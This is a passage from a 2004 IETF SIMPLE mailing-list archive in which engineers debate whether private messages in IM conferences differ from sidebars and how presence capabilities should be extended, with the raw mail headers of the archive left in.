> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Doesn't work for me; you don't need a resource URI for a=20
> sidebar.  You might
> be
> able to use one, but its not necessary.  The only characteristic of a
> sidebar
> that matters is that the media goes to a subset of participants.
>=20
> You need some identifier in all cases. =20
>=20
> Let me push this in another direction.
>=20
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> > Sent: Monday, March 01, 2004 9:29 PM
> > To: Isomaki Markus (Nokia-NRC/Helsinki)
> > Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> > jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Folks, what about this one:
> >=20
> > A sidebar conference is a temporary scoped subconference. By=20
> > temporary=20
> > scoped I mean it exists  (has an associated resource URI) for some=20
> > duration time. The participants may or may not be part of the main=20
> > conference. Messages are addressed to the sidebar conference, in a=20
> > similar way a message is addressed to the conference. The=20
> > sender may or=20
> > may not know who are the members of the sidebar conference.
> >=20
> > A private message is not temporary scoped and it is not=20
> > identified by a=20
> > resource URI. Unlike sidebar conferences, the participants=20
> > are a subset=20
> > of the conference. Unlike sidebar conferences, private messages are=20
> > addressed to each of the receivers, since there is not a resource=20
> > associated with it. The sender has to explicitly define the=20
> > receivers of=20
> > the message.
> >=20
> > Miguel
> >=20
> > Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> >=20
> > > Hi,
> > >=20
> > > I don't see us getting to agreement here... Still, see below:
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>Sent: 02 March, 2004 03:35
> > >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> > >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> > >>simple@ietf.org
> > >>Subject: RE: [Simple] Chat sessions
> > >>
> > >>
> > >>What is the difference between a sidebar and a private message?
> > >>
> > >>I think the ONLY difference is the number of people involved.
> > >>
> > >>A sidebar is two or more.  A private message is exactly two.
> > >>
> > >=20
> > >=20
> > > I don't think we need to limit the number of recipients for=20
> > the private message. The only thing is that they need to be=20
> > conference participants.
> > >=20
> > >=20
> > >>There is NO other meaningful difference.
> > >>
> > >>Your argument on overhead is directly comparable to the argument
> > >>we went through when we defined sidebars as separate sessions.
> > >>I argued that we should NOT create a separate session, but
> > >>simply alter the media policy appropriately.  You are simply
> > >>repeating the arguments I made.
> > >>
> > >>I lost that argument. =20
> > >>
> > >=20
> > >=20
> > > My comment to that is that there are differences in medias=20
> > that should be taken into account. As you see in the example=20
> > I made, having only one solution leads to hugely unoptimal system.=20
> > >=20
> > >=20
> > >>Brian
> > >>
> > >>
> > >>>-----Original Message-----
> > >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > >>>Sent: Monday, March 01, 2004 8:16 PM
> > >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > >>>simple@ietf.org
> > >>>Subject: RE: [Simple] Chat sessions
> > >>>
> > >>>
> > >>>Hi,
> > >>>
> > >>>It seems we are not getting the message through ;)
> > >>>
> > >>>Let's see how sending a private message looks like as a=20
> > >>>sidebar vs. as proposed in the current draft. The case is=20
> > >>>this: Users A and B participate in the same conference, A=20
> > >>>wants to send a private message to B.
> > >>>
> > >>>Sidebar case would be roughly like this:
> > >>>1. A creates a conference for a sidebar using INVITE
> > >>>   - new MSRP session is established between A and the new=20
> > >>>focus instance
> > >>>2. A refers B to that conference
> > >>>3. B joins the conference
> > >>>   - new MSRP session is established
> > >>>4. A sends MSRP SEND request to the conference
> > >>>5. focus forwards it to B
> > >>>6. A sends BYE
> > >>>7. focus sends BYE to B
> > >>>
> > >>>If B replies after 10 seconds, the whole process is followed=20
> > >>>again from 1 to 7.
> > >>>
> > >>>Private message case:
> > >>>1. A sends private message targeted to B over an existing=20
> > >>
> > >>MSRP session
> > >>
> > >>>2. focus forwards it to B
> > >>>
> > >>>So which solution would you like to adopt?=20
> > >>>
> > >>>Markus
> > >>>
> > >>>
> > >>>
> > >>>>-----Original Message-----
> > >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>>>Sent: 01 March, 2004 12:41
> > >>>>To: Niemi Aki (Nokia-M/Espoo)
> > >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > >>>>pkyzivat@cisco.com; Khartabil Hisham=20
> > >>
> > >>(Nokia-TP-MSW/Helsinki); Garcia
> > >>
> > >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > >>>>Subject: RE: [Simple] Chat sessions
> > >>>>
> > >>>>
> > >>>>Aki
> > >>>>
> > >>>>My post was meant to point out that we had decided to=20
> > >>>>implement sidebars
> > >>>>as separate dialogs from main conferences, which is similar=20
> > >>>
> > >>>to making
> > >>>
> > >>>>"private messages" separate dialogs from a main IM=20
> > >>
> > >>dialog.  In that
> > >>
> > >>>>way, I think that sidebars and private messages are the=20
> > >>>
> > >>>same; they are
> > >>>
> > >>>>media sent to a subset of participants in the group.  If there
> > >>>>is a reason to allow a special way to subset destinations for a
> > >>>>private message rather than the entire chat group, then whatever
> > >>>>argument you make would apply to a sidebar. =20
> > >>>>
> > >>>>Brian
> > >>>>
> > >>>>
> > >>>>>-----Original Message-----
> > >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>Sent: Monday, March 01, 2004 2:58 AM
> > >>>>>To: ext Rosen, Brian
> > >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>
> > >>>>>
> > >>>>>Brian,
> > >>>>>
> > >>>>>I've never argued for private messages over sidebars. I still=20
> > >>>>>maintain=20
> > >>>>>that sidebars and private messages are different and=20
> > >>>>
> > >>>>*complimentary*=20
> > >>>>
> > >>>>>features, and that we need *both* to have a complete=20
> > >>>>
> > >>>>solution for IM=20
> > >>>>
> > >>>>>conferences.
> > >>>>>
> > >>>>>Cheers,
> > >>>>>Aki
> > >>>>>
> > >>>>>ext Rosen, Brian wrote:
> > >>>>>
> > >>>>>>Aki
> > >>>>>>
> > >>>>>>When we were discussing sidebars, I made arguments like=20
> > >>>>>
> > >>>>>this against making
> > >>>>>
> > >>>>>>a sidebar
> > >>>>>>a separate session.  Sidebars, I argued, are just media=20
> > >>>>>
> > >>>>>(mixing) changes,
> > >>>>>
> > >>>>>>they have
> > >>>>>>nothing to do with session management.
> > >>>>>>
> > >>>>>>I lost this argument, and I will be very unhappy if IM=20
> > >>>>>
> > >>>>>works differently.
> > >>>>>
> > >>>>>>One of
> > >>>>>>the reasons I lost it was the observation that a sidebar=20
> > >>>>>
> > >>>>>could include
> > >>>>>
> > >>>>>>participants
> > >>>>>>who are not main conference participants.  I think you have=20
> > >>>>>
> > >>>>>the same issue
> > >>>>>
> > >>>>>>here.
> > >>>>>>
> > >>>>>>Brian
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>>>-----Original Message-----
> > >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> > >>>>>>>To: ext Jonathan Rosenberg
> > >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>ext Jonathan Rosenberg wrote:
> > >>>>>>><snip />
> > >>>>>>>
> > >>>>>>>>>3. As Aki explained, sidebars and private IMs within a=20
> > >>>>
> > >>>>conference=20
> > >>>>
> > >>>>>>>>>are two different things. Sidebars are subconferences,=20
> > >>>>>
> > >>>>>that include
> > >>>>>
> > >>>>>>>>>a certain subset of the participants in the main=20
> > >>>>>
> > >>>>>conference. They=20
> > >>>>>
> > >>>>>>>>>need to be explicitly created and deleted. Private=20
> > >>>
> > >>>IMs within a=20
> > >>>
> > >>>>>>>>>conference are also targeted to a subset of the conference=20
> > >>>>>>>>>participants. But there is no need to setup a sidebar or=20
> > >>>>>
> > >>>>>any other=20
> > >>>>>
> > >>>>>>>>>additional context to send them. The recipients can=20
> > >>
> > >>simply be=20
> > >>
> > >>>>>>>>>signaled within each message (as proposed by using CPIM=20
> > >>>>>
> > >>>>>To header).
> > >>>>>
> > >>>>>>>>>This seems to be a specific property of IM, as=20
> > >>
> > >>this sort of=20
> > >>
> > >>>>>>>>>addressing would be impossible e.g. in RTP. In=20
> > >>
> > >>theory priate=20
> > >>
> > >>>>>>>>>messaging facility could be supported by sidebars, but in=20
> > >>>>>
> > >>>>>this case
> > >>>>>
> > >>>>>>>>>the focus would need to have as many sidebars constantly=20
> > >>>>>
> > >>>>>setup, as
> > >>>>>
> > >>>>>>>>>there are different possible participant subset=20
> > >>>>>
> > >>>>>combinations. Way=20
> > >>>>>
> > >>>>>>>>>too complex and not needed.
> > >>>>>>>>
> > >>>>>>>>
> > >>>>>>>>I dont think that, functionally, what you are describing is=20
> > >>>>>>>
> > >>>>>>>different
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>from a sidebar. What differs is that the specifics of=20
> > >>>>
> > >>>>this media=20
> > >>>>
> > >>>>>>>>type allow for a more efficient implementation of the=20
> > >>>>
> > >>>>sidebar than=20
> > >>>>
> > >>>>>>>>would be possible for another media type, such as audio.=20
> > >>>>>>>
> > >>>>>>>Indeed, the=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>same is true for IM in general - why set up a session (ala=20
> > >>>>>>>
> > >>>>>>>msrp) when
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>you can just send a pager mode?
> > >>>>>>>
> > >>>>>>>The ultimate proof of difference in functionality is=20
> > >>>
> > >>>that private
> > >>>
> > >>>>>>>messages are usable and useful in a sidebar - in fact=20
> > >>>
> > >>>it makes no
> > >>>
> > >>>>>>>difference whether they're sent within the context of a=20
> > >>>>>
> > >>>>>conference, a
> > >>>>>
> > >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> > >>>>>>>
> > >>>>>>>Let me provide a concrete example of an already existing=20
> > >>>>>
> > >>>>>service (IRC)
> > >>>>>
> > >>>>>>>that has what I think is a close approximation of both=20
> > >>>
> > >>>sidebar and
> > >>>
> > >>>>>>>private message functionality. (BTW, I feel strongly=20
> > >>>
> > >>>that if MSRP
> > >>>
> > >>>>>>>conferences aren't as feature rich as IRC is, and=20
> provide the=20
> > >>>>>>>same user
> > >>>>>>>experience, we've failed miserably.)
> > >>>>>>>
> > >>>>>>>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>>>>>>participant lists
> > >>>>>>>that are delivered in a very similar manner that the=20
> > >>>>
> > >>>>conference-info
> > >>>>
> > >>>>>>>events would be delivered. Users join these channels=20
> > >>>>
> > >>>>using JOIN, at
> > >>>>
> > >>>>>>>which time they get the participant list, and after that,=20
> > >>>>>>>updates e.g.,
> > >>>>>>>whenever anyone leaves or joins the channel.
> > >>>>>>>
> > >>>>>>>Users can send private messages to the other participants in=20
> > >>>>>>>the channel:
> > >>>>>>>
> > >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> > >>>>>>>
> > >>>>>>>Usually, these messages are displayed in the same pane as=20
> > >>>>>
> > >>>>>the rest of
> > >>>>>
> > >>>>>>>the channel's messages, including information about the=20
> > >>>
> > >>>sender but
> > >>>
> > >>>>>>>marked accordingly as private.
> > >>>>>>>
> > >>>>>>>A user can also invite others to a sidebar of sorts, that=20
> > >>>>
> > >>>>is, a new
> > >>>>
> > >>>>>>>channel, whose properties can be set such that it can=20
> > >>>
> > >>>be joined by
> > >>>
> > >>>>>>>invitation only.
> > >>>>>>>
> > >>>>>>>	INVITE FunnyNick #my_channel
> > >>>>>>>	INVITE BeerLover #my_channel
> > >>>>>>>	INVITE ROOLZ #my_channel
> > >>>>>>>
> > >>>>>>>Joining this new channel as a result of an invitation=20
> > >>>
> > >>>(with JOIN)
> > >>>
> > >>>>>>>usually results in a new window, moving the focus of=20
> > >>>>>
> > >>>>>conversation away
> > >>>>>
> > >>>>>>>from the original channel, but still maintaining the=20
> > >>>>>
> > >>>>>original channel'
> > >>>>>
> > >>>>>>>and its messages active in the background.
> > >>>>>>>
> > >>>>>>>The users may again send messages either to the entire=20
> > >>>>>>>channel (MSG), or
> > >>>>>>>to only one participant (PRIVMSG). A recipient of an=20
> > >>
> > >>INVITE will
> > >>
> > >>>>>>>generally make a choice just like in a SIP=20
> invitation whether=20
> > >>>>>>>or not to
> > >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > >>>>>
> > >>>>>actions from
> > >>>>>
> > >>>>>>>the recipient. Indeed, it might even go unnoticed.
> > >>>>>>>
> > >>>>>>>Taking this into account, I fail to see how sidebars alone=20
> > >>>>>
> > >>>>>can be made
> > >>>>>
> > >>>>>>>to work in providing similar functionality in MSRP=20
> > >>>>>
> > >>>>>conferences. Either
> > >>>>>
> > >>>>>>>sidears or private messages alone won't result in the=20
> > >>>>
> > >>>>same level of
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Wrapping all private conversation inside a sidebar is=20
> > >>
> > >>incredibly
> > >>
> > >>>>>>>inefficient and results in bad user experience, since there=20
> > >>>>>>>is no way to
> > >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>>>>>>is to send a
> > >>>>>>>single private message to the user or have a real ad-hoc=20
> > >>>>>
> > >>>>>conversation
> > >>>>>
> > >>>>>>>posibly consisting of a real exchange of messages. In fact,=20
> > >>>>>
> > >>>>>this would
> > >>>>>
> > >>>>>>>require 4 rounds of singalling (not including sidebar=20
> > >>>
> > >>>creation and
> > >>>
> > >>>>>>>tear-down), plus user interaction in between:
> > >>>>>>>
> > >>>>>>>REFER (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>-Query/inform user whether wants to join-
> > >>>>>>>
> > >>>>>>>INVITE (to sidebar)
> > >>>>>>>200 OK
> > >>>>>>>ACK
> > >>>>>>>
> > >>>>>>>(Note: would probably also require subscription to=20
> > >>>>
> > >>>>conference-info,
> > >>>>
> > >>>>>>>because one would be interested to whom they are sending=20
> > >>>>
> > >>>>the private
> > >>>>
> > >>>>>>>messages...)
> > >>>>>>>
> > >>>>>>>MSRP SEND
> > >>>>>>>MSRP OK
> > >>>>>>>
> > >>>>>>>BYE
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>...as opposed to a single round of messages:
> > >>>>>>>
> > >>>>>>>MSRP SEND (private)
> > >>>>>>>200 OK
> > >>>>>>>
> > >>>>>>>(Note that enabling auto-answering wrt the REFER=20
> would in the=20
> > >>>>>>>worst case
> > >>>>>>>result in a sidebar bombardment, or having a user be=20
> > >>>>
> > >>>>moved over to a
> > >>>>
> > >>>>>>>sidebar in the middle of, say, message composition.)
> > >>>>>>>
> > >>>>>>>The same level of functionality would also not be met with=20
> > >>>>>
> > >>>>>only using
> > >>>>>
> > >>>>>>>private messages. AFAIK, the purpose of a sidebar is to=20
> > >>>>>
> > >>>>>move the focus
> > >>>>>
> > >>>>>>>of the conversation temporarily outside the original=20
> > >>>>>
> > >>>>>conference. This
> > >>>>>
> > >>>>>>>requires being able to wrap a discussion into a separate=20
> > >>>>>>>context. A very
> > >>>>>>>important aspect of this is to let the user decide=20
> whether to=20
> > >>>>>>>joing such
> > >>>>>>>a sidebar, and when to join it. Determining to which=20
> context a
> > >>>>>>>particular received private message belongs to can in this=20
> > >>>>>>>case only be
> > >>>>>>>done in the recipients head - there are no protocol=20
> > >>>>>
> > >>>>>elements to help.
> > >>>>>
> > >>>>>>>As a conclusion, I don't see how sidebars alone can provide=20
> > >>>>>>>the required
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>So, the question is, do we see the perceived efficiency=20
> > >>>>>>>
> > >>>>>>>improvements=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>of a pager-mode sidebar as being sufficiently good to=20
> > >>>
> > >>>allow for=20
> > >>>
> > >>>>>>>>defining a separate sidebar mechanism for it?
> > >>>>>>>
> > >>>>>>>It is also about user interaction. When a user receives an=20
> > >>>>>>>INVITE for an
> > >>>>>>>MSRP session, it can make a choice just like in a voice=20
> > >>>>
> > >>>>call between
> > >>>>
> > >>>>>>>accepting the call or rejecting it. Page mode doesn't=20
> > >>>>
> > >>>>provide that=20
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Cheers,
> > >>>>>>>Aki
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>-Jonathan R.
> > >>>>>>>
> > >>>>>_______________________________________________
> > >>>>>Simple mailing list
> > >>>>>Simple@ietf.org
> > >>>>>https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >=20
> >=20
> > --=20
> > Miguel A. Garcia           tel:+358-50-4804586
> > Nokia Research Center      Helsinki, Finland
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 23:56:33 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01310
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 23:56:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1xJ-0002b3-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:56:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1wa-0002TP-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:55:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1vr-0002Je-00; Mon, 01 Mar 2004 23:55:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1vq-0003B2-Fq; Mon, 01 Mar 2004 23:55:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1vB-00038w-1L
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:54:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00996
	for <simple@ietf.org>; Mon, 1 Mar 2004 23:54:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1v8-0002Dj-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:54:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1u7-00023u-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:53:16 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1tS-0001qK-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:52:34 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-1.cisco.com with ESMTP; 01 Mar 2004 20:55:42 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i224pjxU028772;
	Mon, 1 Mar 2004 23:51:51 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11441;
	Mon, 1 Mar 2004 23:51:42 -0500 (EST)
Message-ID: <404412DD.5070703@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mikko.lonnfors@nokia.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com> <40430042.5090108@cisco.com> <40434D96.5050006@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 23:51:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
> 
> Paul Kyzivat wrote:
> 
>>
>>>> I disagree!
>>>>
>>>> The extension mechanism in callee-caps has means that don't require 
>>>> any registration at all. This is very good for cases when there are 
>>>> features that are very transient. For instance, it is possible to 
>>>> define a feature tag for something like frobitz-sales, or 
>>>> widget-help. And then I can use callerprefs to select an endpoint 
>>>> with the appropriate capability. This allows end users to take 
>>>> advantage of callerprefs for features that matter to them. (Assuming 
>>>> sufficiently smart devices.)
>>>>
>>>> When using presence, I would like the same to hold true. If it is 
>>>> necessary to define a new xml schema before I can announce a 
>>>> capability for widget-help in my presence then nothing this dynamic 
>>>> can be a feature.
> 
> I'm not sure I agree with this premise. Presence is not callee caps. 
> With caller prefs, I can ask to a device that does frobitz-sales, 
> without learning whether there exists such a device, or which it is. 
> Thus, there are no privacy concerns per se with the use case you describe.
> 
> However, if every callee caps attribute automatically goes into pidf, 
> then information can be revealed to a presentity. How do we control 
> that? How would privacy policies work with the extensibility model you 
> desire?

I'm not saying that every callee caps attribute automatically goes into 
pidf. I am only asking that there be defined notation so that any callee 
caps attribute *can* go into pidf.

There are two cases for how it actually gets there:

1) the UA that registers with callee caps also publishes presence with 
the same information, or a restricted subset if it likes.

2) the UA registers with callee caps. The PA subscribes to the reg 
package, collects the callee caps info and publishes it.

Either way, configuration controlled by the UA's user then determines 
how much of that ends up in notifications.

>>> This is definitely a use case where mandating a new XML schema may not
>>> work. I originally thought that making new XML schema would not be that
>>> big deal but if you want this kind of automation then making new XML
>>> schema on the fly may not be possible. Only doubt that I have is that 
>>> can the end point which receives this
>>> information really use it? If this info in generated on the fly then how
>>> the receiving end really knows to look for this?
>>
>> This can work as long as it is a community of users with a common 
>> understanding of what they use. Such a community may have no ability 
>> to alter the code of the devices, so this is the best they can expect.
> 
> It seems you need the ability to modify the devices to take advantage of 
> the extension mechanism you want. As I pointed out during the meeting, 
> the currently documented extension technique works when the callee and 
> the watcher understand the extension, but the presence server does not. 
> In such a case, it seems to me that the devices necessarily have to be 
> able to change, no?

Is this true with the new authentication model? Content will be filtered 
out if not explicitly authorized to be included. There is now plan to 
move to a semantic model. With that model, will there be a way to 
authorize inclusion of entities that aren't understood by the PA?

If that is true, and if it is possible to create ad hoc xml extensions 
to pidf without the involvement of any standards organization, then 
maybe it would be possible to get the same effect as this part of 
prescaps. I'm not sure these ifs are both true. And that would only work 
with (1) above, not (2).

But including these extensions makes it much easier to use the same 
capability model in registration and pidf.

>> The problem here is that a given tag may initially be represented as 
>> an extension tag. Later, somebody decides it would be nice to have a 
>> custom schema for that tag. Once that starts to be implemented there 
>> is an interop problem between those that have adopted the new schema 
>> and those still using the old way.
> 
> Exactly - this is one of the arguments for having just one extensibility 
> mechanism.

In another reply I proposed a solution to this: Require custom scheme 
for feature tags in the sip namespace, but use the extension scheme for 
feature tags in other namespaces. Then the case of something migrating 
will never occur unless it gets a new feature tag name.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 23:57:04 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01331
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 23:57:04 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1xM-0003N5-Nc
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 23:56:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i224uaQ9012953
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 23:56:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1xM-0003Mq-KD
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 23:56:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01328
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 23:56:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1xK-0002b8-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:56:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1wb-0002TW-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:55:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1vr-0002Je-00; Mon, 01 Mar 2004 23:55:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1vq-0003B2-Fq; Mon, 01 Mar 2004 23:55:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1vB-00038w-1L
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:54:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00996
	for <simple@ietf.org>; Mon, 1 Mar 2004 23:54:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1v8-0002Dj-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:54:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1u7-00023u-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:53:16 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1tS-0001qK-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:52:34 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-1.cisco.com with ESMTP; 01 Mar 2004 20:55:42 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i224pjxU028772;
	Mon, 1 Mar 2004 23:51:51 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11441;
	Mon, 1 Mar 2004 23:51:42 -0500 (EST)
Message-ID: <404412DD.5070703@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mikko.lonnfors@nokia.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com> <40430042.5090108@cisco.com> <40434D96.5050006@dynamicsoft.com>
